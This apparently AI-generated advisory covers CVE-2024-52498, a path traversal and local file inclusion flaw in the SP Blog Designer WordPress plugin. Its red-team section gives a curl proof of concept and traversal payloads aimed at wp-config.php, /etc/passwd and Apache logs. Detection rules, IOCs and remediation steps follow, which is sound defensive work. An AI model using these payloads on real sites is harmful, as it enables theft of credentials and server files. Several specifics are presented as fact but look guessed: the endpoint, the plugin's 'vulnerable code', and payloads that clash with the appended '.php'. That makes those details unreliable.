CVE-2024-52498

Executive Summary

CVE-2024-52498 is a Path Traversal vulnerability (specifically using the .../...// pattern) in the WordPress plugin SP Blog Designer by softpulseinfotech, affecting versions up to and including 1.0.0. This flaw allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI), potentially reading sensitive files on the server. The vulnerability is classified as a Path Traversal: '.../...//' (CWE-35) and has a CVSS score of 7.5 (High). No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the public nature of the vulnerability.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a WordPress ecosystem component, it introduces risk to any site using the plugin. Supply chain security is impacted because the vendor has not released a patch, leaving all installations of version 1.0.0 and earlier vulnerable. Site administrators should treat this as a critical supply chain risk and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to disclosure of sensitive server files (e.g., wp-config.php, /etc/passwd).

Deep Dive & Mechanics

The vulnerability resides in the SP Blog Designer WordPress plugin. The plugin fails to properly sanitize user-supplied input when including PHP files, specifically allowing path traversal sequences like .../...//. This pattern bypasses typical ../ filters by using triple dots and double slashes, which some sanitization routines do not catch.

The vulnerable parameter is likely passed via a GET or POST request to a plugin endpoint that dynamically includes a file based on user input. The attacker can manipulate this parameter to traverse directories and include arbitrary PHP files from the server, leading to Local File Inclusion (LFI). Since the included file is executed as PHP, the attacker can read the contents of any file on the server (e.g., configuration files, logs) by including them and observing the output.

Example vulnerable code pattern:

include($_GET['file'] . '.php');

The attacker can supply .../...//.../...//wp-config to include wp-config.php (the .php extension is appended automatically).

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the only known version. A hypothetical patch would involve proper input validation and sanitization.

Vulnerable Code (SP Blog Designer <= 1.0.0):

// Vulnerable: Direct inclusion without sanitization
$file = $_GET['file'];
include( $file . '.php' );

Patched Code (Hypothetical):

// Patched: Validate and sanitize input
$allowed_files = array('template1', 'template2', 'default');
$file = basename( $_GET['file'] );
$file = str_replace( array( '..', '...', '//', '\\' ), '', $file );
if ( in_array( $file, $allowed_files ) ) {
    include( $file . '.php' );
} else {
    // Handle error
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with SP Blog Designer plugin version <= 1.0.0.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-content/plugins/sp-blog-designer/includes/load.php?file=.../...//.../...//wp-config).
2. Use a path traversal payload to read sensitive files.

Proof-of-Concept (PoC) using cURL:

curl -v "http://target.com/wp-content/plugins/sp-blog-designer/includes/load.php?file=.../...//.../...//wp-config"

This will attempt to include wp-config.php and output its contents.

Alternative payloads:

• /etc/passwd: .../...//.../...//.../...//etc/passwd
• /var/log/apache2/access.log: .../...//.../...//.../...//var/log/apache2/access.log

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for unusual path traversal patterns, especially .../...// sequences.
2. Look for requests to plugin files with file parameters containing directory traversal attempts.
3. Check for unexpected file inclusions in PHP error logs.

Response:

1. Immediately isolate the affected WordPress instance.
2. Remove or disable the SP Blog Designer plugin.
3. Review server logs for signs of exploitation (e.g., reading of wp-config.php).
4. Rotate any credentials that may have been exposed (database passwords, salts, etc.).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing .../...// in the query string.
  • Requests to /wp-content/plugins/sp-blog-designer/ with file parameter.
  • Outbound connections from the web server to unknown IPs (if attacker exfiltrates data).

• File System IOCs:

  • Unexpected access to /etc/passwd, wp-config.php, or other sensitive files.
  • Modified plugin files (though unlikely, as this is read-only).

• Log IOCs:

  • Web server logs showing 404 or 200 responses for path traversal attempts.
  • PHP error logs with include() failures or warnings.

Detection Engineering

YARA Rule

rule CVE_2024_52498_SP_Blog_Designer_LFI {
    meta:
        description = "Detects path traversal attempts targeting SP Blog Designer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52498"
    strings:
        $traversal1 = ".../...//"
        $traversal2 = "..\\..\\"
        $plugin_path = "sp-blog-designer"
    condition:
        any of ($traversal*) and $plugin_path
}

Sigma Rule

title: CVE-2024-52498 SP Blog Designer LFI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting SP Blog Designer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - '.../...//'
            - '..\\..\\'
        cs-uri-stem|contains: 'sp-blog-designer'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52498 SP Blog Designer LFI Attempt"; flow:to_server,established; content:".../...//"; http_uri; content:"sp-blog-designer"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove the Plugin: Since no patch is available, the only safe option is to deactivate and delete the SP Blog Designer plugin from all WordPress installations.
2. Web Application Firewall (WAF) Rules: Implement virtual patching by blocking requests containing .../...// in query strings, especially those targeting plugin paths.
3. Input Validation: If you must keep the plugin, add server-level input validation to reject path traversal patterns.

Long-Term Fix:

• Monitor the vendor's website for an official patch. If none is released, consider migrating to an alternative blog designer plugin.
• Regularly audit all WordPress plugins for known vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.